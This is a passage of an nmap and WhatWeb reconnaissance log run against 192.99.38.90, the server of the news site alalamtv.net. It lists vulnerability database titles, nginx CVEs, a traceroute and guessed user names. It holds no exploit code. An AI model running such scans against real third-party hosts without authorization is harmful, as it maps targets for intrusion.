15958| [16356] Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow
15959| [16285] NTP daemon readvar Buffer Overflow
15960| [15838] OpenClassifieds 1.7.0.3 Chained: Captcha Bypass->SQLi->Persistent XSS on Frontpage
15961| [12204] MagnetoSoft SNTP 4.0.0.7 - ActiveX SntpSendRequest Crash PoC
15962| [12203] MagnetoSoft SNTP 4.0.0.7 - ActiveX SntpGetReply BOF
15963| [9940] ntpd 4.0.99j-k readvar Buffer Overflow
15964| [7683] Goople <= 1.8.2 (frontpage.php) Blind SQL Injection Exploit
15965| [2471] Travelsized CMS <= 0.4 (frontpage.php) Remote File Include Exploit
15966| [1066] MS Outlook Express NNTP Buffer Overflow Exploit (MS05-030)
15967| [578] MS Windows NNTP Service (XPAT) Denial of Service Exploit (MS04-036)
15968| [121] MS Frontpage Server Extensions fp30reg.dll Exploit (MS03-051)
15969|
15970| OpenVAS (Nessus) - http://www.openvas.org:
15971| [902839] Microsoft FrontPage Server Extensions MS-DOS Device Name DoS Vulnerability
15972| [900652] NTP 'ntpd' Autokey Stack Overflow Vulnerability
15973| [900623] NTP Stack Buffer Overflow Vulnerability
15974| [801713] Microsoft Outlook Express And Windows Mail NNTP Protocol Heap Buffer Overflow Vulnerability (941202)
15975| [800408] NTP EVP_VerifyFinal() Security Bypass Vulnerability
15976| [800407] NTP Version Detection (Linux)
15977| [100399] NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability
15978| [56769] FreeBSD Ports: frontpage -- cross site scripting vulnerability
15979| [10884] NTP read variables
15980| [880846] CentOS Update for ntp CESA-2009:1648 centos4 i386
15981| [880814] CentOS Update for ntp CESA-2009:0046 centos5 i386
15982| [880810] CentOS Update for ntp CESA-2009:1648 centos5 i386
15983| [880762] CentOS Update for ntp CESA-2009:1039 centos5 i386
15984| [880690] CentOS Update for ntp CESA-2009:1651 centos3 i386
15985| [855775] Solaris Update for usr/sbin/ntpq 141396-01
15986| [855676] Solaris Update for ntpq 141911-01
15987| [855649] Solaris Update for ntpq 141910-01
15988| [855628] Solaris Update for usr/sbin/ntpq 141397-01
15989| [855247] Solaris Update for /usr/lib/inet/xntpd and /usr/sbin/ntpdate 109668-07
15990| [855010] Solaris Update for /usr/lib/inet/xntpd and /usr/sbin/ntpdate 109667-07
15991| [835252] HP-UX Update for XNTP HPSBUX02639
15992| [835204] HP-UX Update for XNTP HPSBUX02437
15993| [835161] HP-UX Update for xntpd HPSBUX00232
15994| [835070] HP-UX Update for xntpd(1M) HPSBUX00148
15995| [100608] Windows NT NNTP Component Buffer Overflow
15996| [66662] FreeBSD Security Advisory (FreeBSD-SA-10:02.ntpd.asc)
15997| [66639] Gentoo Security Advisory GLSA 201001-01 (ntp)
15998| [66527] CentOS Security Advisory CESA-2009:1648 (ntp)
15999| [66526] CentOS Security Advisory CESA-2009:1651 (ntp)
16000| [66519] Slackware Advisory SSA:2009-343-01 ntp
16001| [66515] Debian Security Advisory DSA 1948-1 (ntp)
16002| [66511] Fedora Core 10 FEDORA-2009-13121 (ntp)
16003| [66507] Fedora Core 11 FEDORA-2009-13090 (ntp)
16004| [66501] Fedora Core 12 FEDORA-2009-13046 (ntp)
16005| [66368] Mandriva Security Advisory MDVSA-2009:309 (ntp)
16006| [65948] SLES10: Security update for xntp
16007| [65773] SLES10: Security update for xntp
16008| [65666] SLES11: Security update for ntp
16009| [65606] SLES9: Security update for xntp
16010| [65578] SLES9: Security update for xntp
16011| [65238] SLES9: Security update for xntp, xntp-doc
16012| [64225] Fedora Core 11 FEDORA-2009-5674 (ntp)
16013| [64207] FreeBSD Security Advisory (FreeBSD-SA-09:11.ntpd.asc)
16014| [64146] Ubuntu USN-777-1 (ntp)
16015| [64128] Mandrake Security Advisory MDVSA-2009:117 (ntp)
16016| [64116] Slackware Advisory SSA:2009-154-01 ntp
16017| [64114] Gentoo Security Advisory GLSA 200905-08 (ntp)
16018| [64098] Fedora Core 9 FEDORA-2009-5275 (ntp)
16019| [64095] Fedora Core 10 FEDORA-2009-5273 (ntp)
16020| [64050] CentOS Security Advisory CESA-2009:1039 (ntp)
16021| [64046] FreeBSD Ports: ntp
16022| [64032] Debian Security Advisory DSA 1801-1 (ntp)
16023| [63770] Mandrake Security Advisory MDVSA-2009:092 (ntp)
16024| [63743] Gentoo Security Advisory GLSA 200904-05 (ntp)
16025| [63343] CentOS Security Advisory CESA-2009:0046 (ntp)
16026| [63267] Fedora Core 10 FEDORA-2009-0544 (ntp)
16027| [63266] Fedora Core 9 FEDORA-2009-0547 (ntp)
16028| [63242] FreeBSD Security Advisory (FreeBSD-SA-09:03.ntpd.asc)
16029| [63230] Slackware Advisory SSA:2009-014-03 ntp
16030| [63194] Mandrake Security Advisory MDVSA-2009:007 (ntp)
16031| [63163] Ubuntu USN-705-1 (ntp)
16032| [63149] Debian Security Advisory DSA 1702-1 (ntp)
16033| [55233] Debian Security Advisory DSA 801-1 (ntp)
16034| [53863] Debian Security Advisory DSA 045-1 (ntp)
16035| [52235] mozilla -- heap overflow in NNTP handler
16036| [17229] NNTP password overflow
16037| [17228] NNTP message headers overflow
16038| [14773] Identifies services like FTP, SMTP, NNTP...
16039| [10699] IIS FrontPage DoS II
16040| [10585] IIS FrontPage DoS
16041|
16042| SecurityTracker - https://www.securitytracker.com:
16043| [1021533] NTP Signature Validation Flaw Lets Remote Users Bypass Validation Checks
16044| [1015896] Microsoft FrontPage Server Extensions Input Validation Holes Permit Cross-Site Scripting Attacks
16045| [1013420] YaBB Input Validation Error in 'usersrecentposts' Lets Remote Users Conduct Cross-Site Scripting Attacks
16046| [1011762] cPanel Backup and FrontPage Management Bugs Let Remote Authenticated Users View, Edit, and Own Arbitrary Files
16047| [1001816] Microsoft Visual Studio RAD Support Component of FrontPage Lets Remote Users Execute Arbitrary Code on the FrontPage Server
16048| [1026143] Cyrus IMAP Server NNTP Service Lets Remote Users Bypass Authentication
16049| [1026031] Cyrus IMAP Server Buffer Overflow in NNTP Daemon Lets Remote Users Execute Arbitrary Code
16050| [1024934] Subversion SVNParentPath Collection Processing Error Lets Remote Users Execute Arbitrary Code
16051| [1023298] NTP Mode 7 Packet Processing Flaw Lets Remote Users Deny Service
16052| [1022930] Cisco IOS H.323, SIP, NTP, Tunneling, and Encrypted Packet Processing Flaws Let Remote Users Deny Service
16053| [1022243] ntp crypto_recv() Autokey Stack Overflow Lets Remote Users Execute Arbitrary Code
16054| [1022033] ntp Buffer Overflow in ntpq cookedprint() Lets Remote Users Execute Arbitrary Code
16055| [1018786] Microsoft Outlook Express Bug in Processing NNTP Responses Lets Remote Users Execute Arbitrary Code
16056| [1018785] Windows Mail Bug in Parsing NNTP Responses Lets Remote Users Execute Arbitrary Code
16057| [1016679] xntpd '-u' Switch May Cause the Daemon to Run With Incorrect Group Privileges
16058| [1016668] phNNTP Include File Flaw in 'file_newsportal' Parameter Lets Remote Users Execute Arbitrary Code
16059| [1015065] Lynx Buffer Overflow in HTrjis() in Processing NNTP Headers Lets Remote Users Execute Arbitrary Code
16060| [1014200] Microsoft Outlook Express Buffer Overflow in NNTP Response Parser Lets Remote Users Execute Arbitrary Code
16061| [1012726] Mozilla Buffer Overflow in Processing NNTP URLs Lets Remote Users Execute Arbitrary Code
16062| [1011631] Microsoft NNTP Buffer Overflow Lets Remote Users Execute Arbitrary Code With SYSTEM Privileges
16063| [1011250] Microsoft FrontPage Buffer Overflow in WordPerfect Converter Lets Remote Users Execute Arbitrary Code
16064| [1009336] Network Time Protocol (NTP) Server Integer Overflow May Return the Incorrect Time
16065| [1008147] Microsoft FrontPage Server Extensions Buffer Overflow May Let Remote Users Execute Arbitrary Code
16066| [1005865] Leafnode NNTP News Server Lets Remote Users Deny Service
16067| [1005786] Xntpd Time Daemon on HP-UX May Crash or Degrade
16068| [1005287] Microsoft FrontPage Server Extensions SmartHTML Interpreter Bugs May Let Remote Users Execute Arbitrary Code with System Privileges
16069| [1004266] Cisco BTS 10200 Softswitch Underlying Operating System Contains Network Time Daemon (NTP) Buffer Overflow That May Allow a Remote User to Crash the Device or Execute Arbitrary Code
16070| [1004265] Cisco IP Manager Underlying Operating System Contains Network Time Daemon (NTP) Buffer Overflow That May Allow a Remote User to Crash the Device or Execute Arbitrary Code
16071| [1004264] Cisco Media Gateway Controller (MGC) Product Line Underlying Operating System Contains Network Time Daemon (NTP) Buffer Overflow That May Allow a Remote User to Crash the Device
16072| [1004244] Cisco IOS Systems Contain Network Time Daemon (NTP) Buffer Overflow That May Allow a Remote User to Crash the Device
16073| [1003767] 'mod_frontpage' Module for Apache Web Server Has Buffer Overlow in 'fpexec.c' That Allows Remote Users to Execute Arbitrary Code on the System with Root Privileges
16074| [1003071] PHP Rocket Add-in for FrontPage Discloses Files on the Server to Remote Users
16075| [1002197] Microsoft Windows NNTP Network News Service Has a Memory Leak That Allows Remote Users to Cause the Server to Crash
16076| [1001770] Scotty Tcl Interpreter's ntping Utility Lets Local Users Obtain Root Privileges
16077| [1001237] The Network Time Protocol Daemon (ntpd) Allows Remote Users to Execute Arbitrary Code on the Server - Typically to Gain Root Privileges on the Server
16078|
16079| OSVDB - http://www.osvdb.org:
16080| [52917] Adobe Flash Player ActionScript 2 VM DefineConstantPool Action Crafted PDF File Handling Memory Disclosure
16081| [37179] Free Image Hosting frontpage.php AD_BODY_TEMP Variable Remote
16082| [31138] SolidState ViewAccountPage.class.php base_path Parameter Remote File Inclusion
16083| [30764] ClickGallery view_recent.asp currentpage Parameter SQL Injection
16084| [26417] ClickGallery view_gallery.asp parentcurrentpage Parameter XSS
16085| [3383] Microsoft FrontPage Server Extensions imagemap.exe File Verification
16086| [805] NTP ntpd readvar Variable Remote Overflow
16087| [577] FrontPage Server Extensions Visual Studio RAD Support Overflow
16088| [95804] TRENDnet TEW-812DRU setNTP.cgi Multiple Field Command Injection
16089| [93712] Zavio IP Cameras /opt/cgi/view/param sub_C8C8 Function General.Time.NTP.Server Parameter Remote Command Execution
16090| [92877] Vivotek PT7135 IP Camera farseer.out system.ntp Parameter Remote Command Execution
16091| [91972] GNOME Evolution-Data-Server NNTP Encryption Option Failure Remote Credential Disclosure
16092| [91630] Rosewill RSVA11001 NTP Host Manipulation Remote Command Execution
16093| [91145] Microsoft IE removeChild CHtmlComponentProperty Object Handling Use-after-free Arbitrary Code Execution
16094| [90495] ownCloud /apps/files_external/addMountPoint.php mountpoint Parameter XSS
16095| [90267] Evolution NNTP STARTTLS Encryption Regression Remote Cleartext Credential Disclosure
16096| [90219] Raidsonic Multiple Product /cgi/time/time.cgi ntp_name Parameter XSS
16097| [85705] iFOBS ifobsClient/regclientprint.jsp Multiple Parameter XSS
16098| [83687] Linux Kernel fs/eventpoll.c Local DoS
16099| [83643] Knews Multilingual Newsletters Plugin for WordPress wp-content/plugins/knews/wysiwyg/fontpicker/index.php ff Parameter XSS
16100| [81824] MYRE Real Estate Mobile 1_mobile/agentprofile.php userid Parameter SQL Injection
16101| [81644] WebKit XMLDocumentParser::exitText Function XML Parsing Use-after-free Issue
16102| [78467] WebTitan NTP Server (Display) Module Unspecified XSS
16103| [77996] Contentpapst admin.php Multiple Parameter XSS
16104| [77872] Parallels Plesk Small Business Panel Site Editor (SiteBuilder) Feature /Wizard/Edit/Html currentPageId Parameter SQL Injection
16105| [76829] Calibre calibre-mount-helper Utility Arbitrary Directory / Mountpoint Manipulation
16106| [76338] WebKit XMLDocumentParser::insertErrorMessageBlock Use-after-free Issue
16107| [76336] WebKit XMLDocumentParser::endElementNs / XMLDocumentParser::parseEndElement Use-after-free Issue
16108| [76057] Cyrus IMAP Server NNTP AUTHINFO USER Command Parsing Authentication Bypass Arbitrary Command Execution
16109| [75307] Cyrus IMAP Server map/nntpd.c split_wildmats() Function NNTP Command Parsing Remote Overflow
16110| [73053] Linux Kernel fs/eventpoll.c epoll Data Structure File Descriptor Local DoS
16111| [70332] Apache Subversion Apache HTTP Server mod_dav_svn repos.c walk FunctionSVNParentPath Collection Remote DoS
16112| [69870] Lantern CMS 11-login.asp intPassedLocationID Parameter XSS
16113| [66859] Adobe Reader / Acrobat CoolType.dll maxp Table maxComponentPoints Field Font Handling Overflow
16114| [66448] IBM FileNet Content Manager InheritParentPermissions Security Inheritance Weakness
16115| [66268] InstantPhp Jobs Component for Joomla! index.php detailed_results Parameter SQL Injection
16116| [65465] WMS-CMS printpage.asp Multiple Parameter SQL Injection
16117| [65111] Opera Invalid news / nntp URI IFRAME Element Handling Remote DoS
16118| [65110] Microsoft IE Invalid news / nntp URI IFRAME Element Handling Remote DoS
16119| [65109] Mozilla Firefox Invalid news / nntp URI IFRAME Element Handling Remote DoS
16120| [64437] HP Mercury LoadRunner Agent magentproc.exe Remote Arbitrary Code Execution
16121| [63620] Mozilla Multiple Products XMLDocument::load Function nsIContentPolicy Check Restriction Bypass
16122| [63472] Apple Safari on Mac OS X libFontParser.dylib TType1ParsingContext::SpecialEncoding() Function Arbitrary Code Execution (PWN2OWN)
16123| [62909] ncpfs ncpumount sutil/ncpumount.c Mountpoint Name Local File Disclosure
16124| [60847] NTP ntpd Mode 7 Request Crafted Packet Reply Loop Remote DoS
16125| [60827] e107 e107_admin/frontpage.php Unspecified Parameter XSS
16126| [60349] Etype EServ NNTP Service Large Request Remote DoS
16127| [60142] HP-UX xntpd Unspecified Remote DoS
16128| [58758] Apache River GrantPermission Policy Manipulation Privilege Escalation
16129| [58645] Xerver HTTP Server chooseDirectory Action currentPath Parameter XSS
16130| [58644] Xerver HTTP Server chooseDirectory Action currentPath Parameter Traversal Arbitrary File Access
16131| [58342] Cisco IOS Network Time Protocol (NTP) Crafted Packet Remote DoS
16132| [57478] TGS Content Management cms/frontpage_ception.ph Multiple Parameter SQL Injection
16133| [56015] NTP on Windows SO_EXCLUSIVEADDRUSE Unspecified Issue
16134| [56014] NTP EVP_VerifyFinal() Check Unspecified Issue
16135| [54576] NTP ntpd/ntp_crypto.c crypto_recv() Function Remote Overflow
16136| [54294] eFront studentpage.php / professorpage.php File Upload Arbitrary Code Execution
16137| [53593] NTP ntpq/ntpq.c cookedprint() Function Remote Overflow
16138| [51244] Goople CMS frontpage.php Multiple Parameter SQL Injection
16139| [50015] Easyedit CMS news.php intPageID Parameter SQL Injection
16140| [50014] Easyedit CMS page.php intPageID Parameter SQL Injection
16141| [49921] vBulletin admincp/attachmentpermission.php extension Parameter SQL Injection
16142| [49856] ThemeSiteScript upload/admin/frontpage_right.php loadadminpage Parameter Remote File Inclusion
16143| [47971] DevalCMS index.php currentpath Parameter XSS
16144| [47502] Perl Filesys::SmbClientParser Folder Name Arbitrary Shell Command Injection
16145| [47001] Linux Kernel fs/namespace.c do_change_type Function Mountpoint Manipulation Local Privilege Escalation
16146| [46124] DesktopOnNet frontpage.don3app/frontpage.php app_path Parameter Remote File Inclusion
16147| [45449] ACT P202S IP Phone Hardcoded NTP Server IP Time Subversion
16148| [43913] Perlbal lib/Perlbal/ClientProxy.pm Chunked Upload File Upload Handling Overflow DoS
16149| [42913] Hosting Controller UNINSTAL.asp Crafted Host Header Arbitrary Site Frontpage Extension Manipulation
16150| [42876] Tutorials Module for XOOPS printpage.php tid Parameter SQL Injection
16151| [42058] Microsoft FrontPage CERN Image Map Dispatcher (htimage.exe) Arbitrary File Information Disclosure
16152| [39802] Arcadem LE frontpage_right.php loadadminpage Parameter Remote File Inclusion
16153| [39617] phpAutoVideo admin/frontpage_right.php loadadminpage Parameter Remote File Inclusion
16154| [37631] Microsoft Windows Malformed NNTP Response Remote Memory Corruption
16155| [34367] Squid src/client_side.c clientProcessRequest() function TRACE Request DoS
16156| [33553] Uberghey CMS frontpage.php setup_folder Parameter Remote File Inclusion
16157| [32987] Movable Type MTCommentPreviewIsStatic Tag XSS
16158| [32962] Hitachi OpenTP1 Invalid Data DoS
16159| [31200] SolidState DeleteAccountPage.class.php base_path Parameter Remote File Inclusion
16160| [31193] SolidState BillingPaymentPage.class.php base_path Parameter Remote File Inclusion
16161| [31187] SolidState AddPaymentPage.class.php base_path Parameter Remote File Inclusion
16162| [31119] SolidState NewAccountPage.class.php base_path Parameter Remote File Inclusion
16163| [31104] SolidState EditAccountPage.class.php base_path Parameter Remote File Inclusion
16164| [31103] SolidState EditPaymentPage.class.php base_path Parameter Remote File Inclusion
16165| [30763] ClickGallery gallery.asp currentpage Parameter SQL Injection
16166| [29490] Travelsized CMS frontpage.php setup_folder Parameter Remote File Inclusion
16167| [29098] TSEP printpagedetails.php tsep_config[absPath] Parameter Remote File Inclusion
16168| [28355] Joomla! Frontpage Content Submission Unspecified Injection
16169| [28260] Microsoft IIS FrontPage Server Extensions (FPSE) shtml.exe Path Disclosure
16170| [28093] contentpublisher for Mambo contentpublisher.php mosConfig_absolute_path Parameter Remote File Inclusion
16171| [27856] phNNTP article-raw.php file_newsportal Parameter Remote File Inclusion
16172| [27369] Wireshark NTP Dissector Format String Flaw
16173| [25761] Microsoft Windows NTDLL.DLL RtlDosPathNameToNtPathName_U API Path Conversion Weakness
16174| [25623] Mobotix IP Network Camera eventplayer get_image_info_abspath Parameter XSS
16175| [24674] Mozilla Multiple Products XPCWrappedNativeScope::SystemIsBeingShutDown compareDocumentPosition Handling Memory Corruption
16176| [24518] Microsoft FrontPage Server Extensions fpadmdll.dll Multiple Parameter XSS
16177| [24237] @1 Event Publisher eventpublisher.txt Direct Request Private Comment Disclosure
16178| [24236] @1 Event Publisher eventpublisher_usersubmit.htm Multiple Parameter XSS
16179| [24235] @1 Event Publisher eventpublisher_admin.htm Multiple Parameter XSS
16180| [22822] Linux Kernel mq_open System Call mntput Function Local DoS
16181| [21038] FUSE fusermount Crafted Mountpoint mtab Corruption DoS
16182| [20143] lmtp2nntp l2_spec() Function Format String
16183| [20142] lmtp2nntp lib_cfg Function Unspecified Issue
16184| [20019] Lynx NNTP HTrjis() Function Remote Overflow
16185| [19428] IBM Lotus Domino CitiPayPro.nsf SubPaymentProcessingFS Src Parameter XSS
16186| [19419] Turquoise SuperStat Date Parser Crafted NNTP Server Response Overflow
16187| [19055] NTP ntpd -u Group Permission Weakness
16188| [17306] Microsoft Outlook Express NNTP LIST Command Remote Overflow
16189| [15975] NTP ntpd Date/Time Request Remote Overflow
16190| [15870] MetaCart product.asp intProdID Parameter SQL Injection
16191| [15596] Oracle Collaboration Suite Email Server Unspecified NNTP DoS
16192| [14827] YaBB2 YaBB.pl usersrecentposts Action username Parameter XSS
16193| [14456] Slurp NNTP Client log_doit Function Format String
16194| [14410] mod_frontpage for Apache HTTP Server fpexec Remote Overflow
16195| [13353] newsfetch NNTP Response Handling Overflow DoS
16196| [12637] Mozilla nsNNTPProtocol.cpp NNTP news:// URI Handling Overflow DoS
16197| [10962] cPanel Frontpage _private Symlink Arbitrary File Permission Modification
16198| [10961] cPanel Frontpage .htaccess Hardlink Arbitrary File Owernship Modification
16199| [10895] Microsoft FrontPage asycpict.dll JPEG Processing DoS
16200| [10697] Microsoft Windows/Exchange NNTP Component Remote Overflow
16201| [10246] Microsoft Exchange Server Malformed NNTP AUTHINFO DoS
16202| [9040] IceWarp WebMail attachment.html attachmentpage_text_error Parameter XSS
16203| [4345] Mnews NNTP Response Remote Overflow
16204| [3968] Microsoft FrontPage Personal Web Server Arbitrary File Access
16205| [3501] Microsoft FrontPage form_results Information Disclosure
16206| [3386] Microsoft FrontPage Server Extensions htimage.exe File Existence Enumeration
16207| [3385] Microsoft FrontPage Server Extensions htimage.exe Remote Path Disclosure
16208| [3384] Microsoft FrontPage htimage.exe Overflow
16209| [3382] Microsoft FrontPage Server Extensions imagemap.exe Remote Path Disclosure
16210| [3381] Microsoft FrontPage imagemap.exe Overflow
16211| [3300] Microsoft FrontPage shtml MS-DOS Device Name DoS
16212| [2952] Microsoft FrontPage Server Extensions (fp30reg.dll) Debug Function Chunked Encoded Request Remote Overflow
16213| [2800] Microsoft FrontPage Server Extensions SmartHTML DoS
16214| [2306] Microsoft FrontPage Server Extensions SmartHTML Interpreter shtml.dll DoS
16215| [1928] Microsoft Windows NNTP Malformed Post DoS
16216| [1879] scotty ntping Hostname Handling Local Overflow
16217| [1304] ATRIUM Cassandra NNTP Server Login Name Remote Overflow
16218| [1135] Microsoft Windows NT Print Spooler Service (spoolss.exe) AddPrintProvider() Function Alternate Print Provider Arbitrary Command Execution
16219| [1032] Microsoft FrontPage PWS GET Request Handling Remote DoS
16220| [694] PHP Rocket for FrontPage phprocketaddin page Parameter Traversal Arbitrary File Access
16221| [482] Microsoft IIS FrontPage Server Extensions (FPSE) Malformed Form DoS
16222| [396] Microsoft FrontPage shtml.exe MS-DOS Device Name Request DoS
16223| [307] Microsoft FrontPage 2000 Server Extensions shtml.exe Path Disclosure
16224| [282] Microsoft FrontPage dvwssr.dll Backdoor and Overflow
16225| [68] Microsoft FrontPage Extensions .pwd File Permissions
16226| [67] Microsoft FrontPage Extension shtml.dll Anonymous Account Information Disclosure
16227|_
16228Too many fingerprints match this host to give specific OS details
16229Network Distance: 9 hops
16230
16231TRACEROUTE (using port 123/udp)
16232HOP RTT ADDRESS
162331 93.96 ms 10.243.204.1
162342 94.02 ms vlan102.as02.qc1.ca.m247.com (176.113.74.17)
162353 94.12 ms irb-0.agg1.qc1.ca.m247.com (37.120.128.168)
162364 94.03 ms te-1-5-2-0.bb1.fra2.de.m247.com (82.102.29.44)
162375 ...
162386 94.11 ms bhs-g2-nc5.qc.ca (142.44.208.175)
162397 ...
162408 94.15 ms be50-5.bhs-3a-a9.qc.ca (198.27.73.92)
162419 27.71 ms ns502056.ip-192-99-38.net (192.99.38.90)
16242#######################################################################################################################################
16243https://192.99.38.90 [301 Moved Permanently] Country[CANADA][CA], HTTPServer[nginx], IP[192.99.38.90], RedirectLocation[https://www.alalamtv.net/], UncommonHeaders[x-varnish], Varnish, nginx
16244https://www.alalamtv.net/ [200 OK] Country[CANADA][CA], Google-Analytics[Universal][UA-131115355-3], HTTPServer[nginx], IP[192.99.38.90], JQuery, Modernizr, Open-Graph-Protocol[website][966242223397117], Script[text/javascript], Title[قناة العالم الاخبارية], X-UA-Compatible[IE=8,IE=edge], nginx
16245######################################################################################################################################
16246Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-24 21:08 EST
16247NSE: Loaded 163 scripts for scanning.
16248NSE: Script Pre-scanning.
16249Initiating NSE at 21:08
16250Completed NSE at 21:08, 0.00s elapsed
16251Initiating NSE at 21:08
16252Completed NSE at 21:08, 0.00s elapsed
16253Initiating Parallel DNS resolution of 1 host. at 21:08
16254Completed Parallel DNS resolution of 1 host. at 21:08, 0.03s elapsed
16255Initiating SYN Stealth Scan at 21:08
16256Scanning ns502056.ip-192-99-38.net (192.99.38.90) [1 port]
16257Discovered open port 443/tcp on 192.99.38.90
16258Completed SYN Stealth Scan at 21:08, 0.07s elapsed (1 total ports)
16259Initiating Service scan at 21:08
16260Scanning 1 service on ns502056.ip-192-99-38.net (192.99.38.90)
16261Completed Service scan at 21:09, 12.75s elapsed (1 service on 1 host)
16262Initiating OS detection (try #1) against ns502056.ip-192-99-38.net (192.99.38.90)
16263Retrying OS detection (try #2) against ns502056.ip-192-99-38.net (192.99.38.90)
16264Initiating Traceroute at 21:09
16265Completed Traceroute at 21:09, 3.01s elapsed
16266Initiating Parallel DNS resolution of 7 hosts. at 21:09
16267Completed Parallel DNS resolution of 7 hosts. at 21:09, 0.20s elapsed
16268NSE: Script scanning 192.99.38.90.
16269Initiating NSE at 21:09
16270Completed NSE at 21:09, 32.27s elapsed
16271Initiating NSE at 21:09
16272Completed NSE at 21:09, 0.94s elapsed
16273Nmap scan report for ns502056.ip-192-99-38.net (192.99.38.90)
16274Host is up (0.050s latency).
16275
16276PORT STATE SERVICE VERSION
16277443/tcp open ssl/http nginx
16278| http-brute:
16279|_ Path "/" does not require authentication
16280|_http-chrono: Request times for /; avg: 390.07ms; min: 318.35ms; max: 596.00ms
16281|_http-csrf: Couldn't find any CSRF vulnerabilities.
16282|_http-date: Mon, 25 Nov 2019 02:09:21 GMT; 0s from local time.
16283|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
16284|_http-dombased-xss: Couldn't find any DOM based XSS.
16285|_http-drupal-enum: Nothing found amongst the top 100 resources,use --script-args number=<number|all> for deeper analysis)
16286|_http-errors: Couldn't find any error pages.
16287|_http-feed: Couldn't find any feeds.
16288|_http-fetch: Please enter the complete path of the directory to save data in.
16289| http-headers:
16290| Server: nginx
16291| Date: Mon, 25 Nov 2019 02:09:23 GMT
16292| Content-Type: text/html; charset=utf-8
16293| Content-Length: 126
16294| Connection: close
16295| X-Varnish: 738916972
16296| Retry-After: 5
16297|
16298|_ (Request type: GET)
16299|_http-jsonp-detection: Couldn't find any JSONP endpoints.
16300| http-methods:
16301|_ Supported Methods: GET HEAD POST OPTIONS
16302|_http-mobileversion-checker: No mobile version detected.
16303| http-security-headers:
16304| Strict_Transport_Security:
16305|_ HSTS not configured in HTTPS Server
16306| http-sitemap-generator:
16307| Directory structure:
16308| Longest directory structure:
16309| Depth: 0
16310| Dir: /
16311| Total files found (by extension):
16312|_
16313|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
16314|_http-title: 301
16315|_http-userdir-enum: Potential Users: root, admin, administrator, webadmin, sysadmin, netadmin, guest, user, web, test
16316| http-vhosts:
16317|_127 names had status 301
16318|_http-wordpress-enum: Nothing found amongst the top 100 resources,use --script-args search-limit=<number|all> for deeper analysis)
16319|_http-wordpress-users: [Error] Wordpress installation was not found. We couldn't find wp-login.php
16320|_http-xssed: No previously reported XSS vuln.
16321| vulscan: VulDB - https://vuldb.com:
16322| [133852] Sangfor Sundray WLAN Controller up to 3.7.4.2 Cookie Header nginx_webconsole.php Code Execution
16323| [132132] SoftNAS Cloud 4.2.0/4.2.1 Nginx privilege escalation
16324| [131858] Puppet Discovery up to 1.3.x Nginx Container weak authentication
16325| [130644] Nginx Unit up to 1.7.0 Router Process Request Heap-based memory corruption
16326| [127759] VeryNginx 0.3.3 Web Application Firewall privilege escalation
16327| [126525] nginx up to 1.14.0/1.15.5 ngx_http_mp4_module Loop denial of service
16328| [126524] nginx up to 1.14.0/1.15.5 HTTP2 CPU Exhaustion denial of service
16329| [126523] nginx up to 1.14.0/1.15.5 HTTP2 Memory Consumption denial of service
16330| [119845] Pivotal Operations Manager up to 2.0.13/2.1.5 Nginx privilege escalation
16331| [114368] SuSE Portus 2.3 Nginx Certificate weak authentication
16332| [103517] nginx up to 1.13.2 Range Filter Request Integer Overflow memory corruption
16333| [89849] nginx RFC 3875 Namespace Conflict Environment Variable Open Redirect
16334| [87719] nginx up to 1.11.0 ngx_files.c ngx_chain_to_iovec denial of service
16335| [80760] nginx 0.6.18/1.9.9 DNS CNAME Record Crash denial of service
16336| [80759] nginx 0.6.18/1.9.9 DNS CNAME Record Use-After-Free denial of service
16337| [80758] nginx 0.6.18/1.9.9 DNS UDP Packet Crash denial of service
16338| [67677] nginx up to 1.7.3 SSL weak authentication
16339| [67296] nginx up to 1.7.3 SMTP Proxy ngx_mail_smtp_starttls privilege escalation
16340| [12822] nginx up to 1.5.11 SPDY SPDY Request Heap-based memory corruption
16341| [12824] nginx 1.5.10 on 32-bit SPDY memory corruption
16342| [11237] nginx up to 1.5.6 URI String Bypass privilege escalation
16343| [65364] nginx up to 1.1.13 Default Configuration information disclosure
16344| [8671] nginx up to 1.4 proxy_pass denial of service
16345| [8618] nginx 1.3.9/1.4.0 http/ngx_http_parse.c ngx_http_parse_chunked() memory corruption
16346| [7247] nginx 1.2.6 Proxy Function spoofing
16347| [61434] nginx 1.2.0/1.3.0 on Windows Access Restriction privilege escalation
16348| [5293] nginx up to 1.1.18 ngx_http_mp4_module MP4 File memory corruption
16349| [4843] nginx up to 1.0.13/1.1.16 HTTP Header Response Parser ngx_http_parse.c information disclosure
16350| [59645] nginx up to 0.8.9 Heap-based memory corruption
16351| [53592] nginx 0.8.36 memory corruption
16352| [53590] nginx up to 0.8.9 unknown vulnerability
16353| [51533] nginx 0.7.64 Terminal privilege escalation
16354| [50905] nginx up to 0.8.9 directory traversal
16355| [50903] nginx up to 0.8.10 NULL Pointer Dereference denial of service
16356| [50043] nginx up to 0.8.10 memory corruption
16357|
16358| MITRE CVE - https://cve.mitre.org:
16359| [CVE-2013-2070] http/modules/ngx_http_proxy_module.c in nginx 1.1.4 through 1.2.8 and 1.3.0 through 1.4.0, when proxy_pass is used with untrusted HTTP servers, allows remote attackers to cause a denial of service (crash) and obtain sensitive information from worker process memory via a crafted proxy response, a similar vulnerability to CVE-2013-2028.
16360| [CVE-2013-2028] The ngx_http_parse_chunked function in http/ngx_http_parse.c in nginx 1.3.9 through 1.4.0 allows remote attackers to cause a denial of service (crash) and execute arbitrary code via a chunked Transfer-Encoding request with a large chunk size, which triggers an integer signedness error and a stack-based buffer overflow.
16361| [CVE-2012-3380] Directory traversal vulnerability in naxsi-ui/nx_extract.py in the Naxsi module before 0.46-1 for Nginx allows local users to read arbitrary files via unspecified vectors.
16362| [CVE-2012-2089] Buffer overflow in ngx_http_mp4_module.c in the ngx_http_mp4_module module in nginx 1.0.7 through 1.0.14 and 1.1.3 through 1.1.18, when the mp4 directive is used, allows remote attackers to cause a denial of service (memory overwrite) or possibly execute arbitrary code via a crafted MP4 file.
16363| [CVE-2012-1180] Use-after-free vulnerability in nginx before 1.0.14 and 1.1.x before 1.1.17 allows remote HTTP servers to obtain sensitive information from process memory via a crafted backend response, in conjunction with a client request.
16364| [CVE-2011-4963] nginx/Windows 1.3.x before 1.3.1 and 1.2.x before 1.2.1 allows remote attackers to bypass intended access restrictions and access restricted files via (1) a trailing . (dot) or (2) certain "$index_allocation" sequences in a request.
